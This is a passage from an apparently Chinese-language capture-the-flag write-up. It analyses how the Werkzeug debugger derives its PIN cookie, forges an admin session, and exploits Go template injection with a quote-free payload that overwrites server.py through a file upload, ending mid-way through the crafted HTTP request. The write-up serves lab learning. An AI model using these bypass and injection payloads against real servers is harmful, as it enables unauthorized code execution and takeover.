codeprobably_public_bits = [
username, # 当前的系统用户名
modname, # 应用模块的名称
getattr(app, "\_\_name\_\_", type(app).__name__), # 应用的名称
getattr(mod, "\_\_file\_\_", None), # 应用模块的文件位置
]
- 收集私有信息: 这些信息被视为更加私有,并且不太可能在没有验证的调试页面中被公开。这增加了攻击者猜测cookie名称的难度。
private_bits = [str(uuid.getnode()), get_machine_id()]
其中uuid.getnode()
返回机器的硬件地址(MAC地址),而get_machine_id()
返回特定于平台的唯一ID。
4. 哈希所有的信息: 将所有上述信息串联并进行哈希,得到一个SHA1哈希值。
codefor bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
这里,chain(probably_public_bits, private_bits)
函数将公开信息和私有信息合并为一个序列,然后这个序列中的每一项都被加入到哈希中。
h.update(b"cookiesalt")
添加了一个额外的“salt”值,以确保最终的哈希值是独特的。
5. 生成cookie名称:
cookie_name = f"__wzd{h.hexdigest()[:20]}"
将哈希值转换为16进制的字符串形式,并从中取出前20个字符。然后,它前面添加了"__wzd"前缀来生成最终的cookie_name
。
再通过查找cookie_name
关键字,找到set_cookie
方法
通过观察可知,cookie的值是通过时间戳+pin码的hash,由"|"符号拼接而来的
再去看看验证逻辑
def check\_pin\_trust(self, environ: WSGIEnvironment) -> bool | None:
"""Checks if the request passed the pin test. This returns `True` if the
request is trusted on a pin/cookie basis and returns `False` if not.
Additionally if the cookie's stored pin hash is wrong it will return
`None` so that appropriate action can be taken.
"""
if self.pin is None:
return True
val = parse_cookie(environ).get(self.pin_cookie_name)
if not val or "|" not in val:
return False
ts_str, pin_hash = val.split("|", 1)
try:
ts = int(ts_str)
except ValueError:
return False
if pin_hash != hash_pin(self.pin):
return None
return (time.time() - PIN_TIME) < ts
不难看出,由于时间戳是明文,所以伪造一个大一点的时间戳即可绕过检验。因为hash算法就在代码里,所以下后面就是如何找出伪造pin码的几个要素。
一般来说,需要通过报错来获取信息,但是不管对name怎么fuzz,由于传参限制都无法报错。看了其他师傅的wp后才发现,可以使得name参数为空来报错。。。。
报错信息中,有用的除了一些路径外,值得注意的是这几行
File "/app/server.py", line 7, in index
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"
if __name__ == "\_\_main\_\_":
app.run(host="127.0.0.1", port=5000, debug=True)
无法ssti,也没什么用。
又坐牢了一段时间,无奈之下又只能瞅一瞅师傅们的wp,好家伙,原来SESSION_KEY
是空的,逗人玩呢。
那就修改一下Admin的路由,用来获取admin的session
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
拿着伪造的session去访问靶机的admin路由,提示我们用ssti,那就ssti
经过检验确实存在ssti,但这里不是python的ssti,是go的ssti,网上大多提到了{
{.}}
来获取全局变量,但对这道题来说没什么用
换个思路,既然ssti是代码执行的话,那就用go来进行RCE不就行了
但是xssWaf := html.EscapeString(name)
会转义引号,所以payload里不能用引号,寻找思路类似于PHP的无字母数字RCE
前面通过session伪造pin的思路不对或者太麻烦(因为没找到能不用引号的payload),思路转换为替换server.py文件,需要用到以下几个方法:
c.SaveUploadedFile(file *multipart.FileHeader, dst string)
保存上传的文件
c.FormFile(name string)
获取上传的文件
c.HandlerName()
获取正在处理的路由的处理函数名称,这里为main.Admin
c.Request.Referer():
获取Referer头
构造以下payload
c.SaveUploadedFile(c.FormFile(c.HandlerName()),c.Request.Referer())
最终HTTP请求体
GET /admin?name=%7b%7bc.SaveUploadedFile(c.FormFile(c.HandlerName())%2cc.Request.Referer())%7d%7d HTTP/1.1
Host: d5d0420f-1268-449d-a3df-00307c395edd.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows